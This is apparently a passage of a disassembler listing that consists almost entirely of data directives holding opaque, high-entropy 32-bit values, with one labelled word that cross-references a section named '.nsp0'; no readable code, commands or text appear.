dd 138EF0E3h, 0E3E86231h, 387690EDh, 5B81673Fh, 2FBA49Fh
dd 2B39D620h, 0A8E48517h, 0EE306710h, 1F307AE9h, 974F9751h
dd 0BE5F42D3h, 0BC88BA3Bh, 0CE91F16Fh, 73F00E5h, 0F424E176h
dd 3F403D96h, 952DFB0Fh, 15452FE9h, 688D7D72h, 0AA6F7DFFh
dd 2B318AC4h, 0A307CEE4h, 6F88A6F6h, 1F561B74h, 74F810FEh
dd 6A9FCF01h, 0B0E12313h, 0CA632BD8h, 32B52225h, 0DC4AB5F0h
dd 4844E611h, 0DD270BC5h, 0BDF0D57Fh, 0A0DF6FE6h, 693DC36Fh
dd 8535F6DFh, 0F3754DE2h, 568A1E0Ch, 9E46586Fh, 4EDA3455h
dd 2303F502h, 7942B13h, 9108CCBFh, 0E42EBC07h, 0EC686343h
dd 443BB000h, 1DB5FB5Fh, 646C591Ah, 9B938C3Ch, 675B570Bh
dd 54A20158h, 72733FF5h, 43AB5319h, 0CD7E1F42h, 0F04295A3h
dd 3F66BDC2h, 0C81B940Fh, 134E9650h, 8FD05B4Ah, 0F3A3615Fh
dd 0CA30CD36h, 2C14B909h, 69C84333h, 7DCCDA64h, 24DF60CAh
dd 31A0F9BCh, 96BB6012h, 3D23727Eh, 147C3F19h, 744F4CC1h
dd 0D0F20856h, 889EAE46h, 9AFCB9AEh, 0A25A73D7h, 0EB30BCA1h
dd 61E53B96h, 0F6234C6Ch, 0A159CAF4h, 2F8BEBDDh, 7AAD0CD5h
dd 0AF88AFA5h, 0FB3FA1B2h, 0AA7FAFE9h, 0A94BF2BEh, 1E1979D9h
dd 1468D162h, 0D94E7E9h, 0BBE149C2h, 0B984AF25h, 89BF8CD0h
dd 0B734CD4Ch, 0BABD4Ch, 0EC931849h, 0C4A1E62h, 0AE0BB562h
dd 1C7BBF94h, 0C7730837h, 70689793h, 63F4C97Fh, 0D776E362h
dd 8385FA79h, 8CF69E26h, 734F3A48h, 48AAFD3Ch, 664A9796h
dd 7732E53Dh, 4388E3B4h, 0C8501526h, 0C7A06ACEh, 3808E534h
dd 0E2753D34h, 3918CBD8h, 0C3115B7Fh, 422685Ch, 97BF46BEh
dd 7C83F3F8h, 218FF6ABh, 0B14C0095h, 2119A4F4h, 1F8125EDh
dd 330B021Ch, 1957F2DCh, 7C65E16Bh, 0D2ECEC57h, 31BE6A5h
dd 7B2DBFE7h, 0B0DCBFF6h, 38F8DBCFh, 18502230h, 0CA1A0BAEh
dd 3DE24A27h, 1E3CB66Bh, 788D5E9h, 154B34DEh, 2FE5E679h
dd 0D99E0BB1h, 0D0A7716Ah, 64C2B6F4h, 8680C3BEh, 59779E75h
dd 0E7A2E968h, 0E1E0F0E4h, 20817D97h, 0FA1FF115h, 0D808F179h
dd 0E90F0C4Ch, 0E06502ECh, 15DD23D8h, 0A9F6C3F7h, 278CB221h
dd 7CF8927Ch, 5762472Eh, 61AA0D3Eh, 0DCF97172h, 0E774A683h
dd 42F37359h, 9CF1135h, 47C05144h, 73EF7614h, 71BE99B8h
dd 0CE460EB7h, 27BEA618h, 0ADB9A85Eh, 5BE40F5Fh, 0B138EE78h
dd 6759A938h, 81A2FD19h, 628DCBEAh, 0F473B1F3h, 4C3E5016h
dd 2E9D166Fh, 0C8FDFA58h, 83DDA0A3h, 0B4A49134h, 721410C5h
dd 8FAB6719h, 0AB40C38Ah, 0C28FE713h, 0E51AE992h, 5DE2EC41h
dd 1430C7EBh, 3F13959Eh, 4130A1C1h, 61796599h, 27DBC5B0h
dd 16731469h, 9B08C1C0h, 0EA91A7B1h, 0F497C8ECh, 2001AC13h
dd 4055251h, 0F8D97661h, 0CBE44BC8h, 89C02BBDh, 0A94C853h
dd 6E718E98h, 0F2F54751h, 2CCD5BE4h, 3A09DBC5h, 0ED80068Ch
dd 14604BEDh, 74455356h, 0D36E3FD4h, 6A9F7E5Eh, 0AA74C02Ah
dd 54D558B7h, 382EDDB9h, 0EC5A0C81h, 0B98F216Eh, 575AA552h
dd 8024A421h, 5CCDDED4h, 0E1A80309h, 339DD774h, 958F0419h
dd 2684C1F6h, 0A48FCDA1h, 583A1612h, 951924C5h, 7346B988h
dd 2EA4D34Ch, 4802DA46h, 1A81ABF9h, 0A3577D1Fh, 0C963BB5Bh
dd 0A77FD870h, 0E07FA504h, 0A2BA5DC7h, 0A7977ACh, 2C19D39Fh
dd 2480CBD6h, 1E9EDC1Dh, 0C7EED401h, 31426417h, 0EA1B13D4h
dd 0E08329EBh, 290FF0B6h, 70CF3C6Bh, 24330D31h, 62332A6Ch
dd 28A41B73h, 0AA42FDF4h, 0D685DEC4h, 0C7B856B1h, 0E8B44139h
dd 791DB83Dh, 51634E8h, 11313DC8h, 4FC6D0EFh, 0DBCC1FB5h
dd 4DACB94h, 50CCE7Ch, 362AAE1Dh, 94F332B5h, 0E4B405A0h
dd 5D9D2A04h, 0EC73867Ch, 1BBCDB0h, 6C513B5h, 3A561250h
dd 2F89D88Fh, 0D17DBC32h, 4EFFF1D5h, 479850FEh, 833D4AB2h
dd 4CAD2277h, 0DB063BE8h, 0FAAE8E02h, 0B73EAD57h, 7FFEEECh
dd 0F08DE4EAh, 8236130Fh, 0B6D4B62Dh, 0F4829141h, 909E28B0h
dd 0F25E03B2h, 8E68AEFDh, 9FA45099h, 6EBCB0D1h, 0E18D222Eh
dd 0DA1B3BC8h, 2EC37EBDh, 0A916A041h, 429D39EEh, 0D7B8D647h
dd 199C804h, 0D2145FD1h, 0D0B015DBh, 747358FFh, 85F066FCh
dd 5ACAEF4Ah, 710F6D6Bh, 0AAAF77F2h, 77D56D18h, 8F97FE4Dh
dd 0E4A56DFBh, 544CB638h, 0B60A7439h, 3FEEF075h, 0C6BF7B38h
dd 7903811h, 90AC1585h, 0DA48DC96h, 0B4DBAEBFh, 57C60BB9h
dd 75A9A960h, 6DF2092Eh, 2C2727FCh, 26317295h, 3D039061h
dd 76D178B5h, 79A954B2h, 0D50E006Ah, 6AA023CAh, 20383302h
dd 0EF1C33B5h, 2428E6A7h, 0B122D76Fh, 60BE86B9h, 0DF01E1E1h
dd 0A47FBE66h, 847EB751h, 0F65D6389h, 0E5AF4F68h, 63A68E9Fh
dd 41E4F2CAh, 8DF572B5h, 17FBA9DFh, 414A9B73h, 0B66B1AA6h
dd 5FD972BCh, 460D8A9Bh, 5ECD4609h, 9477D7CEh, 0DBB3FA9Ch
dd 6C254589h, 0E3034950h, 88E12F1Bh, 0FE150E45h, 38348145h
dd 2D621B9Eh, 99A5F7C8h
dd 5C5BF5F0h, 0DD7E8102h, 8444B89Ah, 0B9B90FADh, 8F371F59h
dd 7DA9047h, 0F646BAE5h, 978C1E55h, 0DE35ABC4h, 8C14CC31h
dd 4C5AA10Ah, 3ED3A5EEh, 22702613h, 0C235B4Ah, 68CCBFC6h
dd 5D0C0098h, 0EEAA8F0Ah, 48713B61h, 5B25CACDh, 0F596D325h
dd 59DB0759h, 652B6D0Eh, 0AF471590h, 8C59B952h, 9B713160h
dd 0E2EB7C4Dh, 0E5ADC3Eh, 4F1EBD8Eh, 0DAF781E7h, 7F285E8Fh
dd 9B2F65ACh, 0A7FA35F3h, 814643FBh, 0D76A8998h, 37DC8FF5h
dd 52912910h, 460366AFh, 32814539h, 0BE1BB188h, 0E7FE3388h
dd 0BF0138Ah, 828B6113h, 0D2666h, 70C9D790h, 7DEEC890h
dd 0DEBBAACFh, 74DE8A96h, 589C973Eh, 0DFAB42C2h, 332B7BB0h
dd 0E484946Ah, 66A8598Eh, 4BE690DDh, 1015DF07h, 0C4801DEh
dd 7FD5E786h, 30C5C4DBh, 56C32D88h, 0C0E04C0h, 0CE23B78Ah
dd 96AEA3F1h, 9F5BEF74h, 625A9C9Fh, 8733BEC3h, 0C85F7B5Ah
dd 58B3DE41h, 23A7B45Eh, 192AF6DCh, 0C185C4E9h, 5C1FCBFAh
dd 0ECBF497Bh, 5BEB2D48h, 7347DC64h, 0E23BED4Ah, 0A8A11AF2h
dd 9210E93Eh, 90CB05Eh, 94F907Dh, 737C67ACh, 0C63732E4h
dd 513EBC88h, 0B0B355DCh, 76B1643Ah, 3FD1E23Ah, 4B3CD57Fh
dd 0AD476B9Ch, 26565917h, 919B8B24h, 0CD511F27h, 0A9F64B49h
dd 41A36A81h, 41766669h, 0BEEB6122h, 2293D831h, 0A8E9D2B3h
dd 0E0A8089h, 0F4F4AD85h, 0AA80075h, 947D91F5h, 17CB4536h
dd 0F84C2F0Bh, 87D9061Bh, 0C84DC5BFh, 984C8806h, 0AED5F774h
dd 0AF8CA423h, 97E6E9CCh, 38AB7B82h, 0CA32970Ah, 7C7A5C77h
dd 0D4CA0C1Bh, 325C1A14h, 2422FE51h, 0BF8D98D7h, 0D923D92Dh
dd 4AE57631h, 0FC0EF4F3h, 0E16814FAh, 0B05D97D3h, 0A4476983h
dd 3A8584B1h, 5328B736h, 0B5DF2248h, 5BA647F6h, 1EB1F554h
dd 0F8BBF6E3h, 1AD4D00Fh, 1E1F9378h, 0CB616117h, 0BA804496h
dd 57467689h, 715558C6h, 4E5BC815h, 0E1BE0E22h, 64C0931h
dd 4364CF4Ch, 0D483683h, 0CEE7D5B8h, 0F3479AE3h, 10DEA476h
dd 7FBA832Dh, 0DF09A547h, 118FF05Ah, 0C4604726h, 371AE549h
dd 7C7D87D6h, 1638F5DAh, 4C3E1A31h, 0F9FDF2D6h, 492DC326h
dd 0B07F646Fh, 3C0B7B93h, 5D06A9C0h, 50E5351Fh, 584C0E3Ch
dd 0CFCF85B0h, 0CCB90D48h, 36DFB1DCh, 0DED3962Eh, 0BB5AECDAh
dd 0A3ADE81Fh, 0ED32E743h, 3B085522h, 58018D5Eh, 11371773h
dd 0AB59BFD4h, 2E50BDF5h, 0AEF6346Ah, 0D7657A24h, 4E0BA5F4h
dd 9C76397Bh, 8CC6B107h, 0E088E872h, 59701679h, 4BFFDB2Bh
dd 4A2960B7h, 2DF461D7h, 4B5182FEh, 0E937BE4Ah, 39A95B1Dh
dd 0E3DDEEAAh, 1904ABF3h, 5CF3587Fh, 0B07B4D14h, 0D5C287FDh
dd 0E55DF328h, 415B9C72h, 59FBCDAAh, 0E36586D8h, 750CC374h
dd 1CE2A17Dh, 83CC51E1h, 71055F30h, 0D3C8DE06h, 44B79945h
dd 442890B9h, 0F6DF3AB2h, 3365F363h, 5DC2720Eh, 59586613h
dd 0A7759266h, 132189BDh, 5FFA31B5h, 82511ABCh, 192AF0B7h
dd 4A1E4EE0h, 885D2DEh, 0B3181F42h, 2623DE4Bh, 3BFDEF1Fh
dd 1D4ECB61h, 69C85A1h, 0E9157375h, 441ED08Ah, 5D87085Dh
dd 56E22897h, 0B37F6852h, 8D840B31h, 137139CBh, 0B628689Ah
dd 2D654CF6h, 3CCA0E87h, 0C82FCB35h, 0F908893Ah, 243E6893h
dd 0AF2FEB83h, 7A14BA4Dh, 0CB5E318Fh, 893F19E8h, 0D15AC38Fh
dd 2EC8D61Eh, 67DF4DB6h, 0E77BAA98h, 0B7954379h, 741E8AC4h
dd 871982DCh, 6E29FD09h, 0F2085F00h, 0B4E720A4h, 0AC56430Fh
dd 0D3E32521h, 0F9D8EB3Fh, 0C211BADBh, 69D454FBh, 2C1FA776h
dd 921791E7h, 4956056h, 8929217h, 0E0D365D5h, 32F7066Fh
dd 8BC01E6Bh, 9714FDF0h, 0DE89D9A5h, 0D1CB3B75h, 0E035AF16h
dd 0D6EE4073h, 3FEA93BCh, 0F335A5E4h, 0BF9DE4A0h, 3DFC615Eh
dd 30697AB2h, 69B736DDh, 9EC237C4h, 0BE87ACBAh, 19F0B203h
dd 103C02FFh, 0F4702D85h, 1A8B361Eh, 39691117h, 75068922h
dd 0B3A94C49h, 0C9510321h, 0C7FED614h, 0EF666023h, 52438DE1h
dd 2A74ED30h, 1A6632FAh, 0C76A8067h, 98CCEF77h, 6CC96126h
dd 0C685205Eh, 0A4301F8Eh, 0C593EB98h, 8CC0BEEBh, 54BF66A5h
dd 0B6B3D545h, 0DD41EBCBh, 7606F416h, 3DDF4613h, 0D21101C6h
dd 0F2EB4FF1h, 0CCFC4DA1h, 0BF877C58h, 0AC370B3Fh, 0B52D85FCh
dd 0F3A2E421h, 4671B082h, 1093FF00h, 56EB3B89h, 1E1BDBF5h
dd 598B74F9h, 4E3CDF54h, 71410F0h, 6A335592h, 0E10D94CCh
dd 290A37DDh, 0FF5C5313h, 0D42C3DE9h, 0C42B17EFh, 4FD4F634h
dd 5934ED8Fh, 8D5C746Bh, 2C55AFC2h, 6718A025h, 59FB4D27h
dd 277CB1FCh, 0FF28BD3Ah, 0A4707476h, 8D989D1h, 995779D0h
dd 49B82AB8h, 86C1A0C9h, 0A92C5208h, 18B128F1h, 3C1618EEh
dd 0AABF2575h, 5727EE17h, 0EC4F6Ah, 6C66F0C6h, 0CB99F0ABh
dd 15CA77C6h, 67F96001h, 0BB4CDCA1h, 0DA0DC109h, 4BD5E1E5h
dd 0F798A702h, 0BC3A2B1Ah, 2FD07D79h, 0ABB4806Ch, 0FDB6950h
dd 974AE8CAh, 7AEC0F44h, 0B5ACFF0Ah, 0A1D5E87Eh, 0A0FB6040h
dd 0D75ABFDDh, 5FF7E5FCh, 81BFDC66h, 8B9F1B5Fh, 0C9B11083h
dd 59524428h, 1B4CE55Eh, 1D1589A1h, 0FD2960E6h, 992E47F2h
dd 77532247h, 9BCE092Eh, 1DA49D8h, 3AC0472Dh, 7054E6B7h
dd 458D18E5h, 45A43BC5h, 567F3B02h, 0F5545834h, 0A41BBA6Eh
dd 187A379Dh, 0D88AD101h, 173B15A3h, 0FB582BBCh, 0DF9D9228h
dd 3BD59748h, 0C4DA16F5h, 0B2A58282h, 5390A2D8h, 0D66C9284h
dd 0D3591DE2h, 0C543C867h, 0C38B857h, 0ECFB6177h, 9F47C52h
dd 78E1F1CCh, 0A29F2E2Eh, 52D960BCh, 0E8A2F06Ah, 0B0FC5711h
dd 0CBCB6913h, 0EFC7634Fh, 0C9BBB7B3h, 8EFF93C7h, 10F1E7C1h
dd 3802655Ah, 0E52CC823h, 24D05D98h, 0A0FAB90h, 35D0EE57h
dd 7D9825C0h, 737F7867h, 622F5A76h, 15BED53Eh, 58502BB3h
dd 0EDC377BAh, 0B6442ACAh, 62ABC6A1h, 0F55BEE46h, 585B9BD5h
dd 49057D2Fh, 6A2CAA12h, 0C938A960h, 0D2098A4h, 71AB8642h
dd 395D7427h, 0EC807281h, 0B3DA0C9Eh, 1A3D15CCh, 9BB5CE97h
dd 806A04CAh, 0DCF86985h, 261D0ACDh, 5E85EB10h, 3B8A5924h
dd 657D8C5Fh, 0D6058879h, 0DD28192Eh, 0D9D45595h, 2956DFCAh
dd 9E84C3A7h, 338801F7h, 0A5A99B0h, 0C350C06h, 447D2FB1h
dd 34D5E44h, 0A00AD506h, 0A171B4EEh, 559D4CD2h, 0CF176530h
dd 5ABB0FEh, 97D1352Dh, 9CCC083Fh, 5A116399h, 0DFB51BE5h
dd 0A366EB94h, 0BA8F59DFh, 107F17B0h, 0B4732970h, 3E957B0h
dd 45080CC0h, 9BB25CB8h, 7898BA23h, 8AE97672h, 0FBB56E4Ch
dd 0BDAE6806h, 4EA47D38h, 1489ED5Fh, 0F8B23066h, 0FE7A1AEAh
dd 0C8B00425h, 377550DDh, 0EB11C0B1h, 0C707597Ch, 0ACC45DB1h
dd 0CF4CE4B6h, 6DEBCDE4h, 7E68D507h, 0BC2CEE71h, 25052DABh
dd 3E4A559Bh, 29914A63h, 0FF9A9FF5h, 4673804Fh, 5D44949h
dd 0AE421C33h, 3BEC3F3Fh, 879B89F7h, 30B40224h, 3AF90935h
dd 0CAC5D13Dh, 9757D6Ah, 38477B50h, 0B6718571h, 5DA22742h
dd 131B421Eh, 3A843B2Ch, 0E21006EDh, 47DB6AA2h, 5B04CF9Ah
dd 0D9F132CBh, 0D1D951AEh, 0AD5634BEh, 472368C3h, 2188DFC8h
dd 0D1383C24h, 0C3B409E8h, 1F879737h, 2F14C1A6h, 752F3361h
dd 0E3D84C1h, 80CB3BCBh, 0C0FA4CA8h, 0C17700E5h, 609546C2h
dd 87015B86h, 603BA0E3h, 98CCC74Bh, 3094CAE9h, 9647B347h
dd 0D09EACE2h, 1ECEC926h, 7821936Ah, 0DAADAD31h, 0A6CA381Ah
dd 7BC4C412h, 903D38FAh
dd 0C0C7CC87h, 0B39F754Dh, 0DA1D0CD1h, 0CAD0CAAAh, 34AA7423h
dd 0A0D70D2Ah, 3A473CEh, 6D626DAAh, 0AC576BE8h, 7C77C7D9h
dd 63BCE0A0h, 0E0B0BADCh, 2606D040h, 82BB225Bh, 0D46F48C4h
dd 870890ECh, 0E3D268Eh, 0A5441DCBh, 0DCE453EEh, 0CC361E87h
dd 8B772BF3h, 97213831h, 40B7A791h, 0CE401C9h, 622E780Dh
dd 0E5A8A75Ch, 103699ACh, 11DA82AEh, 3582322Ch, 0B71B6B64h
dd 0B57A6558h, 52015BF1h, 0D4E81EFDh, 8D31FE38h, 34BD0B90h
dd 22FD2451h, 0C1241BE4h, 0DB849E3Ch, 0FAFDFAAEh, 4F89A739h
dd 0AF78971Dh, 2CFA8286h, 0B17123D3h, 7D1DC32Ah, 641F90B2h
dd 676EB704h, 8017ED96h, 2D069230h, 0EB48B634h, 7D28CE11h
dd 22F72B06h, 0D1586E84h, 0D1264DBBh, 1EC11795h, 0B36C3171h
dd 4AC4794Fh, 924CA19Ah, 0A0FC5552h, 0FAFB6459h, 0DF52D8CAh
dd 0B3AF2447h, 0A85892C4h, 53A74D80h, 0E86B258Fh, 8D08DC59h
dd 0DC8F7826h, 7BBDD4C1h, 9854D254h, 4DFF7B54h, 65D1511Ah
dd 9C45096Fh, 43771F9Eh, 1947B1A1h, 0F5A9195Dh, 7938BFBCh
dd 0CA89DE07h, 77DD3EBh, 1D2C100Bh, 0E59E243Dh, 0D2F6F558h
dd 71976C6Ah, 4D6A77Ah, 0C9D2B866h, 0EEBA339h, 8FD06311h
dd 44CD5AC0h, 2084A758h, 503ECD07h, 670C4F53h, 0DA9229DFh
dd 0B3B018B2h, 0F6CC2BC3h, 920F9727h, 53FFD395h, 8F882C70h
dd 62EBE9E4h, 16F3341h, 38067513h, 8C6165A0h, 6AF977C8h
dd 0AD2C383Dh, 0D882BA5Eh, 62C9BBC7h, 57868BEFh, 161768D1h
dd 0C16C9569h, 57A7F29Fh, 1BEDA742h, 0B9198F09h, 0E8ECF92Dh
dd 1BBC905Ah, 1B25B2Eh, 2EB52F00h, 0AF6C5DF0h, 30432760h
dd 6F3F848h, 6609226Ah, 0AE520F26h, 5B10FA81h, 15FFF032h
dd 0A572695h, 0C39A977Bh, 0EC741000h, 831DBA23h, 0C25CFAC6h
dd 3781DA66h, 5BDC48CAh, 595AFFC5h, 0ADF54FFDh, 38328602h
dd 2E0A9386h, 0E528A3F3h, 3CFA4C05h, 9C015F6Ah, 385B0A57h
dd 4803FCB4h, 63D2D3EFh, 29C0EA09h, 0FA2AB7Fh, 602602D4h
dd 0BECA5AD6h, 702E20A4h, 5C11D823h, 0A108C268h, 62FE26F2h
dd 0C0DD9E1Eh, 0EB508DBAh, 0B23D396h, 72F74FBBh, 1190729Ah
dd 96915E6Dh, 0FC510EE1h, 0B5C6489Eh, 0BA65CF41h, 0B7C2A6CBh
dd 506E690Eh, 55B1D9FFh, 1116C498h, 41A4B16Ch, 0EA41A3B5h
dd 38603C0Eh, 0F168724Ch, 31B9030h, 8BECAE3Eh, 17E02357h
dd 0D4BC198Dh, 0F68932AFh, 77B724D2h, 30239144h, 0B5603ADEh
dd 0DAE3D656h, 5D3ABE9Bh, 12EF4757h, 99C0EA4Dh, 0EE5B5E3h
dd 0FBA6BE65h, 0CE68A217h, 0F0508A1Ah, 0CC22ED03h, 0E028ECF5h
dd 0CAAF23FDh, 0E7FD8181h, 2721C165h, 0E972DA50h, 9349A211h
dd 0C4DA2EF5h, 0A82C72BDh, 5C2EA9B9h, 0AE50DDF2h, 0BDB9A7BEh
dd 0BBF86370h, 67BD2535h, 8454D495h, 0E7657EBCh, 0AA108D84h
dd 7120E42Bh, 0FEAFB7A0h, 0EF5E355h, 8351B097h, 6A4D09AFh
dd 3AFD82EFh, 56038E68h, 93C40A6Dh, 596B41DAh, 396742Eh
dd 0AD5D069Dh, 0B552C4E7h, 0D15C23ADh, 54520D3Bh, 68B8A4BAh
dd 1DC3ABD2h, 0C76BCA87h, 0E00FB11Ah, 1C909A5h, 800AFED1h
dd 5CCC2F6Ah, 69991C4h, 3559130Fh, 0DB38B08h, 2D54EA15h
dd 61D28329h, 642FB8FFh, 0B1305785h, 0FA3CC7A0h, 0F507DFA8h
dd 840C6DEEh, 99B69BA1h, 45A81E04h, 8D56EF4h, 0F7DCE09Bh
dd 270F4070h, 89AFE680h, 0AA628F87h, 8F34D780h, 0BDEFE064h
dd 42733F9Eh, 92022C57h, 46E965A5h, 2068AE65h, 0B2E0F7D5h
dd 9D556CD2h, 78ED92F2h, 6B0FA6A9h, 0D192C383h, 40145ABBh
dd 68B36823h, 254C5CC6h, 0A6C6621h, 11CD8FD6h, 16EB95A3h
dd 63607874h, 81DD1028h, 0F9594CD8h, 0EA03F98Dh, 2EEF1427h
dd 0BFAF5F8Eh, 0DB71F7DBh, 85F21C7Bh, 1B5ADF78h, 1D790AFBh
dd 0CF5D5ECCh, 16E1D12Bh, 7BC04D34h, 19AB8EDCh, 30259DC0h
dd 624334B5h, 0D1E92B5Eh, 5908CDD0h, 0A1F1FFFAh, 0DA496699h
dd 0D2B930BDh, 0F5994F3Ch, 6BFEE285h, 2AFF9461h, 780DCB3Fh
dd 49017497h, 21BFDE9h, 0A2E7C9AAh, 138FAFD6h, 0FD4F5E6Bh
dd 0AE46D614h, 0BF5EEBBFh, 7E511419h, 565CE25Ch, 17974220h
dd 27ADDCFAh, 8E273757h, 137F1E50h, 0C3938414h, 0DC60D075h
dd 2D62B303h, 22E08587h, 78CE7FC7h, 7F8D3D48h, 0EC97D5FBh
dd 239B5CB8h, 804CB253h, 354E85BAh, 1424B286h, 0BD839D78h
dd 0B3322836h, 0FF522D5Ah, 825461F8h, 912D11C8h, 8AEF1D54h
dd 30B1729h, 70A78C77h, 1106CDEAh, 0EA472525h, 0F73A74h
dd 997128FDh, 0ACDD6A01h, 0CDF87938h, 9CB359D4h, 0A3495ECBh
dd 5F41CC40h, 0D4AC56FAh, 7C6D3BC5h, 2C691377h, 99C43C39h
dd 0AB1B96CBh, 7C183589h, 52418918h, 6FC5766Ch, 3FD46DF8h
dd 9E35784Eh, 86396461h, 32941EEh, 0E04A83E3h, 0BF31DF62h
dd 4CA3FCEDh, 2183FA60h, 95A1004Bh, 0CCE7B57Fh, 71FD68DCh
dd 43CCA5BCh, 32C61C49h, 3CD750A4h, 52BD0F7Fh, 0C86301ABh
dd 0A8B00748h, 0F5BD9F4Eh, 0AF0EA005h, 0DB291BA1h, 5689AE1Ch
dd 0D78E493Ah, 33BF4923h, 67A3697Ch, 76EF5635h, 810C11A3h
dd 3F7FE70Bh, 0F41237D8h, 3BBEA94Ah, 0A9A06268h, 28C9E0F4h
dd 0B97F8E59h, 90938A4Bh, 6EC1A721h, 7C29D59Bh, 0FD0C2484h
dd 0E363606Dh, 34E72527h, 6136053Eh, 6AAC53F2h, 0E7E5E650h
dd 0B20F12DDh, 0C05D0F33h, 0C9768167h, 519589F4h, 0B881D0EFh
dd 0BAC3CC29h, 85803D3Bh, 8ACC9598h, 7CBF0F02h, 65BE0E4h
dd 5A8F90DAh, 4D2939C0h, 0AD16FD58h, 28A5F7C9h, 37924D70h
dd 73C3D096h, 0B4E9330Eh, 0ABE6F194h, 0D1C2BA29h, 4D668E77h
db 33h, 0B7h
word_505446 dw 5A1Ch ; DATA XREF: .nsp0:off_43D9D0o
dd 23E0D2EEh, 8478A944h, 8B9FCD3Ah, 575A48DFh, 73A1F927h
dd 2DD54823h, 0C179594Bh, 0DF4D9CE9h, 138CA1D6h, 5E1D1403h
dd 0AC9ACB52h, 0D5B0D2AEh, 4CB5119Dh, 64A6E9DDh, 487FB899h
dd 0CE64AF3h, 6D4B3E4Fh, 8C7198CCh, 2579FEDFh, 0F71C2D57h
dd 6A6C7C1Eh, 4CE05214h, 9CC22D07h, 0D0D68C72h, 0FF16B62Eh
dd 397DF8DAh, 8D72347Dh, 4FA99D21h, 5D880C92h, 0CA34089Ah
dd 0F39EFE32h, 0BC5BC01Eh, 7BD1B848h, 375C17FDh, 0B1F08CFh
dd 3EF22CDCh, 0FA3A0ADFh, 64C1022Dh, 5D968A04h, 66DC4403h
dd 0B05DE016h, 18302F15h, 2C55CD1Fh, 9B77F924h, 39FBFF8Ah
dd 0C1A681F7h, 0EBC00A53h, 16397EC6h, 710B4D1Fh, 0F4397576h
dd 9BA15EB6h, 3A80544Eh, 561D664Ch, 142FA49Dh, 0B21885E8h
dd 904C4835h, 3F2C9E59h, 0C16EF8B6h, 0BFEEF638h, 0FC101781h
dd 4FCA7646h, 9801AAACh, 5729428Bh, 68F4065h, 50975430h
dd 0E4AECDACh, 710A7062h, 0BD888C28h, 4C9A6E49h, 597DF4A3h
dd 0C2FF7B6Dh, 85252EE5h, 2AF3BC86h, 0E6DCDF33h, 73577FB9h
dd 0D05DDE9Dh, 530E1CCBh, 1F2D9BBCh, 0B9A1626Dh, 152D7D8Fh
dd 0B195252Fh, 71157D90h, 478524C2h, 0B83B71B5h, 42C6CF21h
dd 0CA856C4Bh, 0C46D7D57h, 5BDB9892h, 0EB78140Dh, 0B47F05DEh
dd 14F04EE8h, 78634E6h, 4EBDAE59h, 0C4428C8Ah, 2A5C76Bh
dd 0D140FB62h, 0E0D8AF8Eh, 0B626FF1Ch, 88E83362h, 0C768D6EAh
dd 9CFA8075h, 0D361A39Bh, 0A3F19299h, 0E69ECAFAh, 1CD93A0Dh
dd 6CABE714h, 0BD8559D1h, 0B4D80987h, 5C87FA42h, 55850ADFh
dd 0CA99C2DCh, 77D9F535h, 0E1C74F60h, 10637D8Fh, 8389DE0h
dd 23705881h, 881D2B8Dh, 31B8F354h, 2840070Bh, 31E9C9D4h
dd 0ED083B00h, 0F2620C5Bh, 0E728E7F4h, 264E90A7h, 5986B705h
dd 11DA1A70h, 7AFCD3D7h, 68C69E89h, 6ABA9FE2h, 1ADC76F1h
dd 0FA43A9FEh, 0E8424C68h, 8669426Dh, 2FF7AF71h, 6E227E50h
dd 85AEB176h, 84629627h, 75C3BC43h, 94B8B15Fh, 70374825h
dd 0A6CED7A0h, 8335C43Dh, 0D31EA395h, 0ACF1DE3Fh, 0EB8208A8h
dd 0C240B4EBh, 0D5C635F7h, 493DFB09h, 75F37CBAh, 4968410Ah
dd 0B5C81C17h, 5FCA5A0Eh, 3433CFE9h, 23CDC5BCh, 11D6DE97h
dd 0AC3AE631h, 9A3FE6C6h, 99AD68A5h, 0C416D208h, 0BF13BD7h
dd 762A897Fh, 3AEF7177h, 0AA3FBBD0h, 0FF27F9E7h, 40E4388Dh
dd 8EDE4CA3h, 9598DB8Eh, 9A09419Ah, 0C60C1AFDh, 0F663BD3h
dd 39C3E9F9h, 9BDC9EB0h, 7BDBFC02h, 0BD76CFB2h, 6F3E344Dh
dd 711DD8CCh, 200BAC7Eh, 0B687B8D7h, 9D992265h, 372E2574h
dd 229BEDCh, 0EB3BF741h, 0B7AD9DB0h, 0B94AC6F4h, 4ADA5812h
dd 37DC56C1h, 0F029E556h, 4D3B91B7h, 24B4FB1Ch, 0DB279A45h
dd 0F0D43F94h, 9F766DC6h, 5BB01624h, 3EE8A8CAh, 19D27C47h
dd 203498DCh, 72B701A9h, 0EC5EB0A8h, 1F1C00A3h, 0A7B8CF97h
dd 12117D3Eh, 59A0FF4Eh, 0D1D10252h, 649987E3h, 0AB9FAE0Ch
dd 0C4A4F063h, 13275A38h, 3CC87519h, 9363136Fh, 59D1CEB2h
dd 33CC39DBh, 57ED1ABFh, 97F92FF2h, 11267F79h, 0C3B8E5CEh
dd 0C45077F1h, 0C201291Bh, 2A2491CAh, 403A6401h, 898C281Ch
dd 23F4EFC4h, 0D1088DC9h, 1D1E9B96h, 75F9E6B6h, 0D8A0F302h
dd 0FAD6368Fh, 316CAF18h, 0E829DD66h, 3B88F26Eh, 0F68C2312h
dd 31E09551h, 73628C01h, 0F5826014h, 0D8D5FC1h, 0DCFF23AFh
dd 151D3E6Ah, 0D6AA999Fh, 8A464549h, 0EEB4D2BDh, 7E168CC5h
dd 6448D556h, 67F2F702h, 477E74FDh, 46C80F88h, 635A0653h
dd 0D628DE45h, 6A3B7E17h, 70D55010h, 0BEEE1B74h, 9EAD3B88h
dd 0D3CE16B7h, 0B4378C59h, 29950EB4h, 674C1FFDh, 0F5F61D9Bh
dd 632EC1C9h, 0A40552Eh, 0C99AEDA7h, 95FE24A3h, 0CE865B35h
dd 578BC979h, 0B60D1C25h, 3C028FEh, 7036FA7h, 14C8ECCDh
dd 0DB178E67h, 2894393Bh, 0CC3AC951h, 9A4D03E2h, 6EDF8941h
dd 185D8F12h, 483A41DDh, 6314A2A3h, 338163E0h, 0ABB06BFEh
dd 6B698A1Ch, 63AFEF1Eh, 0F2C4F283h, 0FE7D21BAh, 11272C6Bh
dd 38BF2371h, 70F7E7A3h, 9DFA152Ch, 57D25Dh, 958BC766h
dd 0C859EDDBh, 25C257E9h, 9C5D457Fh, 0ED944913h, 0CEDBD80Eh
dd 0D33038C9h, 0AFB954BFh, 181845E4h, 0AA6A8669h, 0DA2B552Bh
dd 0B8F3B682h, 0AFAD2BE4h, 0C45655E8h, 0F74737Ah, 718A3AA6h
dd 8BB33E73h, 1C54FCC5h, 0BDA31C06h, 0A9764D65h, 963DCF77h
